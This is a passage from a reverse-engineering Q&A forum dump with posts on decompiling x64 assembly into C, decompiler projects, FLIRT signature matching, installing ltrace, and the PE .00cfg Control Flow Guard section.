edx,eax&#xA;  40056d:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]&#xA;  400571:   48 83 c0 02             add    rax,0x2&#xA;  400575:   0f b6 00                movzx  eax,BYTE PTR [rax]&#xA;  400578:   0f be c0                movsx  eax,al&#xA;  40057b:   c1 e0 08                shl    eax,0x8&#xA;  40057e:   09 c2                   or     edx,eax&#xA;  400580:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]&#xA;  400584:   48 83 c0 03             add    rax,0x3&#xA;  400588:   0f b6 00                movzx  eax,BYTE PTR [rax]&#xA;  40058b:   0f be c0                movsx  eax,al&#xA;  40058e:   09 d0                   or     eax,edx&#xA;  400590:   89 45 f0                mov    DWORD PTR [rbp-0x10],eax&#xA;  400593:   8b 55 f0                mov    edx,DWORD PTR [rbp-0x10]&#xA;  400596:   8b 45 f4                mov    eax,DWORD PTR [rbp-0xc]&#xA;  400599:   89 c6                   mov    esi,eax&#xA;  40059b:   bf 44 06 40 00          mov    edi,0x400644 ; &quot;a = %#x\nb = %#x\n&quot;&#xA;  4005a0:   b8 00 00 00 00          mov    eax,0x0&#xA;  4005a5:   e8 56 fe ff ff          call   400400 &amp;lt;printf@plt&amp;gt;&#xA;  4005aa:   b8 00 00 00 00          mov    eax,0x0&#xA;  4005af:   c9                      leave&#xA;  4005b0:   c3                      ret&#xA;  4005b1:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]&#xA;  4005b8:   00 00 00&#xA;  4005bb:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a segment of x64 assembly code, and I would like to rewrite this code into C. I've been reading Assembly books all day, and I'm still having some difficulty. I just want to understand what this code is doing. From messing around, I think that it performs some operations on an int (that's why I think the DWORD is there) and a long (that's why the QWORD is there). I think that this is true because I recompiled C code with those data structures and those words appeared in the Assembly equivalent, but I could be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated in decoding this code.'&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Amigag:&lt;/strong&gt; second segment of code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000400966 &amp;lt;my_tolower&amp;gt;:&#xA;  400966:   55                      push   rbp&#xA;  400967:   48 89 e5                mov    rbp,rsp&#xA;  40096a:   48 89 7d f8             mov    QWORD PTR [rbp-0x8],rdi&#xA;  40096e:   eb 2d                   jmp    40099d &amp;lt;my_tolower+0x37&amp;gt;&#xA;  400970:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]&#xA;  400974:   0f b6 00                movzx  eax,BYTE PTR [rax]&#xA;  400977:   3c 40                   cmp    al,0x40&#xA;  400979:   7e 1d                   jle    400998 &amp;lt;my_tolower+0x32&amp;gt;&#xA;  40097b:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]&#xA;  40097f:   0f b6 00                movzx  eax,BYTE PTR [rax]&#xA;  400982:   3c 5a                   cmp    al,0x5a&#xA;  400984:   7f 12                   jg     400998 &amp;lt;my_tolower+0x32&amp;gt;&#xA;  400986:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]&#xA;  40098a:   0f b6 00                movzx  eax,BYTE PTR [rax]&#xA;  40098d:   83 c0 20                add    eax,0x20&#xA;  400990:   89 c2                   mov    edx,eax&#xA;  400992:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]&#xA;  400996:   88 10                   mov    BYTE PTR [rax],dl&#xA;  400998:   48 83 45 f8 01          add    QWORD PTR [rbp-0x8],0x1&#xA;  40099d:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]&#xA;  4009a1:   0f b6 00                movzx  eax,BYTE PTR [rax]&#xA;  4009a4:   84 c0                   test   al,al&#xA;  4009a6:   75 c8                   jne    400970 &amp;lt;my_tolower+0xa&amp;gt;&#xA;  4009a8:   90                      nop&#xA;  4009a9:   5d                      pop    rbp&#xA;  4009aa:   c3                      ret    &#xA;  4009ab:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25899" LastEditorUserId="25899" LastEditDate="2018-10-10T00:57:21.853" LastActivityDate="2018-10-11T04:41:23.907" Title="Converting Assembly x64 code to C" Tags="|disassembly|assembly|decompilation|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19588" PostTypeId="2" ParentId="19587" CreationDate="2018-10-10T00:31:48.663" Score="7" Body="&lt;p&gt;I believe the best tool for rewriting assembly to C is IDA Graph View, which is toggled with &lt;kbd&gt;space&lt;/kbd&gt;.&lt;br&gt;&#xA;It let you see the function as &lt;a href=&quot;https://en.wikipedia.org/wiki/Basic_block&quot; rel=&quot;nofollow noreferrer&quot;&gt;Basic Blocks&lt;/a&gt;, connected by control flow instructions. In this specific function, I cannot spot any jumps so you will see one long block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing you usually see in a function is the function prologue which sets up the stack frame.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  400526:   55                      push   rbp&#xA;  400527:   48 89 e5                mov    rbp,rsp&#xA;  40052a:   48 83 ec 20             sub    rsp,0x20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;second, as 64 bit calling convention suggests, the first parameters are passed by registers, other are passed on the stack.&lt;br&gt;&#xA;The used registers are os-dependent (see table 5 at &lt;a href=&quot;http://agner.org/optimize/calling_conventions.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Agner Fog calling conventions&lt;/a&gt;).&lt;br&gt;&#xA;You an see that the function probably gets 2 parameters (edi for 32 bit variable for &lt;code&gt;argc&lt;/code&gt; and 64 bit for &lt;code&gt;argv&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that a &quot;magic&quot; value (&lt;code&gt;0x1a2b3c4&lt;/code&gt;) is saved in a local variable and a pointer to it is created. Note that when it's saved, it is stored as &lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness#Little-endian&quot; rel=&quot;nofollow noreferrer&quot;&gt;little-endian&lt;/a&gt;, which means the order of bytes is reversed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  400535:   c7 45 f4 4d 3c 2b 1a    mov    DWORD PTR [rbp-0xc],0x1a2b3c4d&#xA;  40053c:   48 8d 45 f4             lea    rax,[rbp-0xc]&#xA;  400540:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And his first byte is read to eax as a signed byte and multiplied by &lt;code&gt;2^0x18 (=2^24)&lt;/code&gt;.&#xA;The fact that it's signed doesn't affect anything in this case, because the sign bit is always off (as &lt;code&gt;0x1a&lt;/code&gt;, &lt;code&gt;0x2b&lt;/code&gt;, &lt;code&gt;0x3c&lt;/code&gt; and &lt;code&gt;0x4d&lt;/code&gt; are all below 128)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  40054f:   0f b6 00                movzx  eax,BYTE PTR [rax]&#xA;  400552:   0f be c0                movsx  eax,al&#xA;  400555:   c1 e0 18                shl    eax,0x18&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in a similar way, a value is calculated using next bytes, multiplied by 0x10 (=16), 8 and 1 (implicitly) respectively. results are stored in edi, and &lt;code&gt;or&lt;/code&gt;ed with the previous value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can conclude that our function is something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main(int argc, char *argv[])&#xA;{&#xA;     int calculated_value;  // represents the use of edi to store the result&#xA;     int magic_value = 0x1A2B3C4D;  // note that although i am using int, i mean uint32_t, a variable that has 4 bytes - a DWORD.&#xA;     char *magic_ptr = (char *) &amp;amp;magic_value;  // the values are read byte-by-byte, or char-by-char&#xA;     calculated_value = magic_ptr[0] &amp;lt;&amp;lt; 24;&#xA;     calculated_value |= magic_ptr[1] &amp;lt;&amp;lt; 16;&#xA;     calculated_value |= magic_ptr[2] &amp;lt;&amp;lt; 8;&#xA;     calculated_value |= magic_ptr[3];  // note that at the last or, the result is saved at eax as edi will soon be used to pass the first parameter to printf&#xA;&#xA;     printf(&quot;a = %#x\nb = %#x\n&quot;, magic_value, calculated_value);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what we can see is that the magic value is read back to a variable, while saving the little-endianness, which means we will get the reversed byte order if the &lt;code&gt;magic_value&lt;/code&gt;.&lt;br&gt;&#xA;Thus, we can expect the output to be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a = 0x1a2b3c4d&lt;br&gt;&#xA;  b = 0x4d3c2b1a&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, as a general note, this code have could utilize loops to perform the read.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main(int argc, char *argv[])&#xA;{&#xA;     int i;&#xA;     int calculated_value = 0;  // represents the use of edi to store the result&#xA;     int magic_value = 0x1A2B3C4D;  // note that although i am using int, i mean uint32_t, a variable that has 4 bytes - a DWORD.&#xA;     char *magic_ptr = (char *) &amp;amp;magic_value;  // the values are read byte-by-byte, or char-by-char&#xA;     for(int i = 0; i &amp;lt; 4; i++)&#xA;     {&#xA;         calculated_value &amp;lt;&amp;lt;= 8;&#xA;         calculated_value = magic_ptr[i];&#xA;     }&#xA;     printf(&quot;a = %#x\nb = %#x\n&quot;, magic_value, calculated_value);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: As to your second code.&#xA;Here we can see jumps, so I created a graph view of the code. it makes reading it much easier.&lt;br&gt;&#xA;A bit of info on the graph: a green line means that the jump happens if a condition is met. A red line means that the jump happens if the condition is false. A blue line means that the jump is unconditional, it will always jump.&lt;br&gt;&#xA;Let's go through it and see what happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XkMa6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XkMa6.png&quot; alt=&quot;A graph view of the second code&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing we get to see after the function prologue is a single parameter is saved at &lt;code&gt;rbp-0x8&lt;/code&gt;.&lt;br&gt;&#xA;On the block of &lt;code&gt;0x40099d&lt;/code&gt; we can see that the input is probably &lt;code&gt;char *ptr&lt;/code&gt;, it dereference the pointer and read it's value.&lt;br&gt;&#xA;From the &lt;code&gt;test al, al&lt;/code&gt; we can assume that the value is a string (and not just binary data, it is &lt;em&gt;probably&lt;/em&gt; related to user input) and we stop once we have read the null terminator (&lt;code&gt;\x00&lt;/code&gt; = 0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next block we will check is &lt;code&gt;0x400970&lt;/code&gt;. All it does is checking if the char pointed by &lt;code&gt;rbp-0x8&lt;/code&gt; is smaller or equal to &lt;code&gt;0x40&lt;/code&gt; (&lt;code&gt;0x40&lt;/code&gt; is ascii for '@', &lt;code&gt;0x41&lt;/code&gt; is 'A'). If it is, it &lt;code&gt;continue&lt;/code&gt;s (the single-line block at &lt;code&gt;0x400998&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, our function is something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void my_tolower(char *str)&#xA;{&#xA;    while(str[i] != '\x00')&#xA;    {&#xA;        if(str[i] &amp;lt; 'A')  // as opposed to &amp;lt;= '@'. I can't remember I saw a code ever caring about '@'.&#xA;        {&#xA;            str += 1;  // skipping the current character&#xA;            continue;&#xA;        }&#xA;        // unknown code for now&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at &lt;code&gt;0x40097b&lt;/code&gt;, we can see a similar code, but it checks the character is smaller than &lt;code&gt;0x5A&lt;/code&gt; (=ascii of &lt;code&gt;Z&lt;/code&gt;). so we can write those conditions in a single if:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(str[i] &amp;lt; 'A' || str[i] &amp;gt; 'Z')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Last block (&lt;code&gt;0x400986&lt;/code&gt;). We now know that str[i] contains an upper-case letter.&lt;br&gt;&#xA;The code takes the character and add &lt;code&gt;0x20&lt;/code&gt; to it. &lt;code&gt;0x20&lt;/code&gt; is ascii for &lt;code&gt;&lt;/code&gt; (space) and (&lt;code&gt;a&lt;/code&gt; - &lt;code&gt;A&lt;/code&gt;). It saves the result back to the string and continues.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  400992:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]&#xA;  400996:   88 10                   mov    BYTE PTR [rax],dl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at &lt;code&gt;0x4009a8&lt;/code&gt;, no result is passed to &lt;code&gt;rax&lt;/code&gt;, that means the function probably doesn't return a value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, out functions look something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void my_tolower(char *str)&#xA;{&#xA;    while(str[i] != '\x00')&#xA;    {&#xA;        if(str[i] &amp;lt; 'A' || str[i] &amp;gt; 'Z')  // as opposed to &amp;lt;= '@'. I can't remember I saw a code ever caring about '@'.&#xA;        {&#xA;            continue;&#xA;        }&#xA;        str[i] = str[i] + 'a' - 'A';&#xA;        str += 1;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We could also rewrite the function to show the single block that increments the pointer, which i believe is how the original code looked like. it makes more sense logically that we change the string if a condition was met, not if a condition is not met.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void my_tolower(char *str)  // name was taken from 4009a6 and the first line of function&#xA;{&#xA;    while(str[i] != '\x00')&#xA;    {&#xA;        if(str[i] &amp;gt;= 'A' &amp;amp;&amp;amp; str[i] &amp;lt;= 'Z')  // as opposed to &amp;lt;= '@'. I can't remember I saw a code ever caring about '@'.&#xA;        {&#xA;            str[i] = str[i] + 'a' - 'A';&#xA;        }&#xA;        str += 1;  // this is the block at 400998, that always happen&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user22970" LastEditorDisplayName="user22970" LastEditDate="2018-10-11T04:41:23.907" LastActivityDate="2018-10-11T04:41:23.907" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19589" PostTypeId="2" ParentId="19550" CreationDate="2018-10-10T00:41:43.630" Score="2" Body="&lt;p&gt;You did not mention what the format of the binary is. If the decompiler you choose to extend does not support the format of the binary you want to decompile then you will need to either implement support for that format or find a work-around. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of open-source decompiler projects under active development that you can choose from. Of course, there are also plenty of dead compiler projects, but they will not be discussed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The projects discussed here are&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/wargio/r2dec-js&quot; rel=&quot;nofollow noreferrer&quot;&gt;r2dec&lt;/a&gt;&lt;/strong&gt; - a plugin for radare2 written in JavaScript&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the r2con2018 presentation &quot;How to not write a decompiler&quot; (&lt;a href=&quot;https://www.youtube.com/watch?v=2siU7B0PjPI&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt;, &lt;a href=&quot;https://github.com/radareorg/r2con2018/blob/master/talks/03-r2dec/r2dec.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;slides&lt;/a&gt;), an overview of how the radare2 plugin &lt;code&gt;r2dec&lt;/code&gt; works is given, as well as some instructions and advice on how to extend it to new architectures (beginning at &lt;a href=&quot;https://youtu.be/2siU7B0PjPI?t=1079&quot; rel=&quot;nofollow noreferrer&quot;&gt;17:59&lt;/a&gt; of the presentation). If radare2 (a disassembler) does not support the architecture you are interested in, then you will need to implement this yourself.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/uxmal/reko&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;reko&lt;/strong&gt;&lt;/a&gt; - standalone toolchain implemented in C# &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;See the &lt;a href=&quot;https://github.com/uxmal/reko/wiki/HowTo&quot; rel=&quot;nofollow noreferrer&quot;&gt;HowTo&lt;/a&gt; in the wiki for instructions on how to proceed with extending it to a new architecture&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/avast-tl/retdec&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;RetDec&lt;/strong&gt;&lt;/a&gt; - uses the Capstone disassembly framework and is based on LLVM&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An overview of how it works is provided here: (&lt;a href=&quot;https://retdec.com/static/publications/retdec-slides-botconf-2017.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;slides&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=HHFvtt5b6yY&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt;). Discussion of disassembly and translation to IR begins at around &lt;a href=&quot;https://youtu.be/HHFvtt5b6yY?t=1028&quot; rel=&quot;nofollow noreferrer&quot;&gt;17:08&lt;/a&gt; (slide 25). Extending it to an unsupported architecture probably will involve adding support to Capstone for disassembly as well as the asm -&gt; IR translation in RetDec.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is not meant to be an exhaustive list, of course. There are other options as well, such as &lt;a href=&quot;http://radare.today/posts/update-on-radeco/&quot; rel=&quot;nofollow noreferrer&quot;&gt;radeco&lt;/a&gt; and &lt;a href=&quot;https://github.com/yegord/snowman&quot; rel=&quot;nofollow noreferrer&quot;&gt;snowman&lt;/a&gt;, but these do not seem to be very well documented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is decided that decompilation is not required and disassembly will suffice, a nice guide to adding a new processor module to IDA is given in the following articles: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.ptsecurity.com/2018/09/how-we-developed-nios-ii-processor.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;How we developed the NIOS II processor module for IDA Pro&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://emanuelecozzi.net/posts/ctf/flareon-2018-challenge-12-subleq-rssb-writeup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Flare-On 2018 - Challenge 12 - Subleq'n'RSSB&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-10-10T00:41:43.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19590" PostTypeId="1" CreationDate="2018-10-10T02:05:43.553" Score="5" ViewCount="412" Body="&lt;p&gt;I load a reference elf that I cross-compiled for AArch64 into IDA Pro, idb2pat to generate a .pat which I then process through sigmake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then use the signature file (in the appropriate IDA Pro directory) to work on a commercial image, however it only identifies perhaps one or two functions (of many hundreds) even though I know the binary I am examining was built off the reference source that I used to build the reference elf that I generated a .pat (and then a signature for).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The commercial elf has all debug/compiler info stripped... pretty ruthlessly so I have to guess what gcc it was compiled with and then cross-compile the reference source using this guessed gcc version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how important is the compiler version when building an elf to generate signatures from? If I get the version incorrect will all my signatures simply fail to match the target binary I am working with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="19282" LastActivityDate="2018-10-10T08:04:14.083" Title="Importance of Compiler Version in generating a signature" Tags="|ida|elf|flirt-signatures|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19591" PostTypeId="1" CreationDate="2018-10-10T06:45:25.423" Score="1" ViewCount="2515" Body="&lt;p&gt;I am kind of stuck with the installation of &lt;code&gt;ltrace&lt;/code&gt; on my Kali VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;/etc/apt/sources.list&lt;/code&gt; file is updated with following entry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;deb http://http.kali.org/kali kali-rolling main non-free contrib&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to install &lt;code&gt;ltrace&lt;/code&gt; via &lt;code&gt;apt-get install ltrace&lt;/code&gt;.&#xA;However, getting an error stating &#xA;&lt;code&gt;unable to locate package ltrace&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone help me out here?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit: It got resolved. Thank you all.&lt;/p&gt;&#xA;" OwnerUserId="25681" LastEditorUserId="25681" LastEditDate="2018-10-11T00:18:06.380" LastActivityDate="2018-10-11T00:18:06.380" Title="Unable to install ltrace on Kali" Tags="|linux|" AnswerCount="0" CommentCount="9" ClosedDate="2018-10-10T12:09:30.333" ContentLicense="CC BY-SA 4.0" />
  <row Id="19592" PostTypeId="2" ParentId="19590" CreationDate="2018-10-10T08:04:14.083" Score="5" Body="&lt;p&gt;Yes, getting the compiler version right is pretty important, as well as the compilation options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FLIRT &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;noreferrer&quot;&gt;relies on fixed byte patterns&lt;/a&gt; and does not tolerate even slight differences in the generated code. A different version of compiler may have drastically different register allocator or optimization algorithms, which may result in very different binary for the same source. In addition, &lt;code&gt;idb2pat&lt;/code&gt; probably is not tuned for AArch64 and might not mark relocatable bytes properly, leading to overly restrictive patterns. A better option is to generate patterns from the object files (&lt;code&gt;.o&lt;/code&gt;) or static libraries (&lt;code&gt;.a&lt;/code&gt;) with &lt;code&gt;pelf&lt;/code&gt; since it can use relocation information to mark wildcard bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have just a single binary, I would suggest to just match it against the source code manually, using straight old human intuition and references between functions/string literals. This will likely be faster than finding the correct compiler version and options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to use a more flexible diffing utility like &lt;a href=&quot;http://diaphora.re&quot; rel=&quot;noreferrer&quot;&gt;Diaphora&lt;/a&gt;  which has more algorithms besides fixed byte pattern matching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need this on scale, you'll need to gather many compiler versions and try various options that affect code generation (at least the optimization level, i.e. &lt;code&gt;-O0, -O1, -O2, -O3&lt;/code&gt;). You should also try other compilers like llvm/clang (both the public version and &lt;a href=&quot;https://developer.arm.com/products/software-development-tools/compilers/arm-compiler&quot; rel=&quot;noreferrer&quot;&gt;ARM's customized one&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a quick test, you can use &lt;a href=&quot;https://godbolt.org/&quot; rel=&quot;noreferrer&quot;&gt;Compiler Explorer&lt;/a&gt; on some short code snippets to see if you can find a compiler and set of options to match the code you're seeing in the binary.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-10-10T08:04:14.083" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19593" PostTypeId="1" CreationDate="2018-10-10T08:57:07.337" Score="2" ViewCount="2479" Body="&lt;p&gt;What's that &lt;code&gt;.00cfg&lt;/code&gt; section that is being added by Visual Studio 2017&#xA;to PE32+ binary files (for x64 builds)? I'm assuming it stands for&#xA;&quot;Control Flow Guard&quot; section. It is relatively small and mostly empty:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9GW9g.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9GW9g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what is the layout of data in it?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2018-10-10T20:34:32.623" Title=".00cfg section in the PE file" Tags="|pe|windows-10|pe32|x86-64|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19594" PostTypeId="1" AcceptedAnswerId="19633" CreationDate="2018-10-10T10:02:06.357" Score="3" ViewCount="714" Body="&lt;p&gt;I am aware that many users on this forum are experts (developers) of IDA Pro. So I am tentatively inquiring some high-level ideas behind the point-to analysis of IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to my personal experience (I have been using IDA Pro 6.95 a lot for my binary code research), the point-to analysis implemented in IDA Pro is neither sound or complete. I am envisioning some heuristics are utilized to infer the value set in the code and data pointers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my question:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Could anyone shed a light on the point-to algorithm in IDA-Pro? I understood IDA-Pro is a commercial software so a high-level idea would be very much appreciated.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the best practice to build a call graph with IDA Pro, considering we have decent amount of indirect calls which needs to be interred. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The analysis platform could be ELF binaries on ARM, which seems relatively easier, comparing to x86.&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="2147" LastEditDate="2018-10-16T02:09:13.233" LastActivityDate="2018-10-16T07:31:04.930" Title="Point-to analysis of IDA Pro" Tags="|ida|pointer|call-graph|ida-plugin|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="19596" PostTypeId="2" ParentId="19593" CreationDate="2018-10-10T16:55:25.913" Score="2" Body="&lt;p&gt;The most useful reference I've seen about this section is in this &lt;a href=&quot;https://github.com/adobe/avmplus/blob/master/AVMPI/MMgcPortWin.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adobe source&lt;/a&gt; comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;// Allocate xyz in the .00cfg so that it is implicitly merged into the &#xA;// import section of the binary (which is read-only).&#xA;// Indirect calls using this pointer do not have the guard check function,&#xA;// and so will not fail the CFG check.&#xA;//&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code appears to add the following data to the section (assuming x64):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8 byte address the function&#xA;4 byte boolean (speculation) whether or not indirect calls should be verified.&#xA;4 byte boolean (speculation) whether or not the function pointer is valid.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have yet to see any official documentation on the section though.&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2018-10-10T16:55:25.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19597" PostTypeId="2" ParentId="19593" CreationDate="2018-10-10T19:31:11.543" Score="5" Body="&lt;p&gt;Windows loader does not care about section names, so the name does not really matter, but &lt;em&gt;usually&lt;/em&gt; this section contains the pointer to the indirect call guard check (&lt;code&gt;___guard_check_icall_fptr&lt;/code&gt;). The pointer to it is stored in the &lt;code&gt;GuardCFCheckFunctionPointer&lt;/code&gt; field of the &lt;a href=&quot;https://lifeinhex.com/tag/control-flow-guard/&quot; rel=&quot;nofollow noreferrer&quot;&gt;load configuration directory.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess in the newer files it may contain some additional pointers (see below). The zeroes are probably just padding to the default section alignment (512 or 1024 bytes, not sure which).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. found a recent x64 PE with more pointers. Apparently the following is the full layout for a 32-byte section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; __guard_check_icall_fptr       dq offset _guard_check_icall_nop&#xA; __guard_dispatch_icall_fptr    dq offset _guard_dispatch_icall_nop&#xA; __guard_ss_verify_failure_fptr dq offset __guard_ss_verify_failure_default&#xA; __guard_ss_verify_sp_fptr      dq offset __guard_ss_verify_sp_default&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First two pointers are part of the &lt;a href=&quot;https://lucasg.github.io/2017/02/05/Control-Flow-Guard/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Control Flow Guard&lt;/a&gt; implementation, the other two are from the now-deprecated 